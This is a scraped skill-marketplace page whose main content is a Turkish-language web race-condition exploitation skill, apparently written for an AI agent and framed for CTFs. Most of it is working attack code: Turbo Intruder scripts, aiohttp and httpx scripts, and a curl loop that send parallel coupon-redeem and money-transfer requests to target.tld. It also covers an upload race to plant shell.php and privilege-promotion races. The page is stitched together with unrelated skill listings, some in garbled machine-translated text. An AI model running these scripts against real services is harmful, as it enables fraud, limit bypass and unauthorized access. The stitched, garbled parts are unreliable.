21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
中文简介正在准备中。当前显示原文说明。
Web race condition exploitation — TOCTOU, single-packet attack, limit overrun, parallel race testing
中文简介正在准备中。当前显示原文说明。
查看安装方法安装前可以查看交给 AI 代理的指令内容。
Race condition: iki işlem aynı kaynağı eşzamanlı işlerse, "kontrol" ve "kullanım" arasındaki boşlukta tutarsızlık oluşur. Web CTF'te en yaygın senaryolar: bir kupon birden çok kullanma, limit aşma, parallel auth bypass.
İpuçları:
balance = 100. transfer($100) 100 kez paralel → 100 kez geçer = 10000 transfercoupon=DISCOUNT50 paralel uygulanırsa N kez geçer# Pseudocode (savunmasız)
def transfer(from_user, to_user, amount):
if from_user.balance >= amount: # CHECK
# ... 100ms işlem ...
from_user.balance -= amount # USE
to_user.balance += amount
save()
Saldırı: aynı transfer($100) request'ini 50 paralel gönder. 50 thread aynı anda balance >= 100 kontrolünü geçer → her biri -= 100 yapar.
James Kettle'ın geliştirdiği yeni teknik: HTTP/2'de 20-30 request'i tek TCP packet içine sığdır → backend'e nano-saniye farkla ulaşır → race window'u maksimize.
# Single-packet attack with curl
# HTTP/2 multiplex 30 request in one packet
Burp Suite Turbo Intruder (gold standard):
# Turbo Intruder script
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=100,
engine=Engine.BURP2)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # tüm requestleri aynı anda gönder
def handleResponse(req, interesting):
table.add(req)
aiohttp ile paralel POST:
# parallel_race.py
import asyncio
import aiohttp
URL = 'https://target.tld/api/coupon/redeem'
COOKIE = 'session=abc123'
COUPON = 'WELCOME10'
async def redeem(session):
async with session.post(URL,
data={'code': COUPON},
cookies={'session': 'abc123'}) as r:
return r.status, await r.text()
async def main():
async with aiohttp.ClientSession() as session:
# 50 paralel istek
tasks = [redeem(session) for _ in range(50)]
results = await asyncio.gather(*tasks)
for i, (status, body) in enumerate(results):
if 'success' in body.lower():
print(f'[{i}] SUCCESS')
asyncio.run(main())
aiohttp default 100 connection. Hepsi farklı TCP olabilir → tetikleme zamanı milisaniyeler farklı. Single-packet için daha sıkı.
# Tek connection, çoklu pipeline
connector = aiohttp.TCPConnector(limit=1, force_close=False)
session = aiohttp.ClientSession(connector=connector)
# HTTP/2 multiplex (aiohttp HTTP/2 limited support, httpx daha iyi)
# httpx_race.py
import httpx
import asyncio
URL = 'https://target.tld/api/transfer'
async def main():
async with httpx.AsyncClient(http2=True) as client:
# HTTP/2 stream multiplexing
tasks = [
client.post(URL, json={'amount': 100, 'to': 'attacker'},
headers={'Cookie': 'sess=abc'})
for _ in range(20)
]
responses = await asyncio.gather(*tasks)
for r in responses:
print(r.status_code, r.text[:80])
asyncio.run(main())
# 20 paralel coupon redeem
for i in $(seq 1 20); do
curl -X POST https://target.tld/api/coupon \
-H "Cookie: session=abc" \
-d "code=DISCOUNT50" &
done
wait
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
engine=Engine.BURP2,
concurrentConnections=1,
requestsPerConnection=30,
pipeline=False)
# Aynı request'i 30 kez kuyrukla
for _ in range(30):
engine.queue(target.req)
# Aynı paketle gönderim ipucu:
# Burp 2023+ HTTP/2 last-byte sync ile bunu otomatik yapar
Sunucu Idempotency-Key header'ı kontrol ediyor ama eşzamanlı request'lerde aynı anda iki request varsa key veritabanına yazılamadan ikisi de geçer:
# Saldırı: aynı idempotency key ile 10 paralel
headers = {
'Idempotency-Key': 'same_uuid_here',
'Cookie': 'sess=abc'
}
# Eğer veritabanı INSERT ... ON CONFLICT DO NOTHING ise race vardır
Yeni endpoint ya is_admin flag set olduktan sonra denenir, ama:
# Adım 1: register
# Adım 2: admin promotion (manual, slow)
# Adım 3: admin-only endpoint
# Race: adım 2 işlem sırasında adım 3 paralel atılır
# Bazı backend'ler permission cache'i 1-2 saniye gecikmeli güncellenir
Race condition file operation'da:
# Sunucu:
# 1. CHECK: filename.endswith('.txt')
# 2. SAVE: file.save(filename)
# 3. SCAN: virus_scan(filename)
# 4. RENAME: rename to safe_name
# Saldırı:
# filename = "shell.php"
# Adım 1'i ".txt" ile geç, sonra hızlıca "shell.php"e rename
# (Bu kategori daha çok local race ama web upload'da da görülür)
Race başarılı ise auto_increment ID sıralı atlamalar gösterir:
ID 100, 101, 102 → race öncesi normal
ID 103, 105, 107, 109 → race olmuş (104, 106, 108 başka transaction'lar arasında)
Tek request 100ms; 30 paralel request 150ms → race tetiklendi (paralel işlem var).
SQLSTATE[23000]: Integrity constraint violation
Bu mesaj race'in çalıştığını ama DB constraint ile son anda durdurulduğunu gösterir.
SELECT ... FOR UPDATE veya distributed lock kullanır. Bu durumda race çalışmaz.UNIQUE constraint başka sorunlar yaratır — race tetiklenir ama DB rollback'le.Bir kez kullanılabilir/limit var → race condition test
├── Tek packet ihtiyacı → Turbo Intruder (Burp)
├── HTTP/2 → httpx multiplex
├── HTTP/1.1 → aiohttp parallel
├── Auth race → JWT + race kombi
└── Limit hala devam → distributed lock var, başka açık ara
# Burp Suite + Turbo Intruder (Bambdas)
# https://github.com/PortSwigger/turbo-intruder
# racepwn — Python
pip install racepwn
# httpx, aiohttp
pip install httpx[http2] aiohttp
# wrk for HTTP load (high concurrency)
sudo apt install wrk
wrk -t 20 -c 100 -d 5s --latency https://target.tld/race
# coupon_race_exploit.py
import asyncio
import aiohttp
TARGET = 'https://target.tld'
COOKIE = 'session=abc123'
COUPON_CODE = 'WELCOME50'
async def redeem(session, i):
async with session.post(f'{TARGET}/api/coupon/redeem',
json={'code': COUPON_CODE},
headers={'Cookie': COOKIE}) as r:
body = await r.text()
return i, r.status, body
async def main():
# Tek TCP üzerinde HTTP/2 multiplex
timeout = aiohttp.ClientTimeout(total=30)
connector = aiohttp.TCPConnector(limit=1, force_close=False)
async with aiohttp.ClientSession(timeout=timeout, connector=connector) as session:
tasks = [redeem(session, i) for i in range(30)]
# Tüm task'ları aynı anda başlat
results = await asyncio.gather(*tasks)
success = sum(1 for _, _, body in results if 'redeemed' in body)
print(f'{success}/30 başarılı kullanım')
# Bakiyeyi kontrol et
async with session.get(f'{TARGET}/api/balance',
headers={'Cookie': COOKIE}) as r:
print('Balance:', await r.text())
asyncio.run(main())
<!--
⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih
Yetkisiz kullanim/kopyalama tespit edilebilir.
hash: 5a56ed06dcca427a
-->还没有评价。欢迎分享你的使用感受。
无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。
还没有评论。来写第一条吧。
21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
中文简介正在准备中。当前显示原文说明。
AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse
中文简介正在准备中。当前显示原文说明。
AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.
中文简介正在准备中。当前显示原文说明。
tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.
中文简介正在准备中。当前显示原文说明。
Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.
中文简介正在准备中。当前显示原文说明。
Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.
中文简介正在准备中。当前显示原文说明。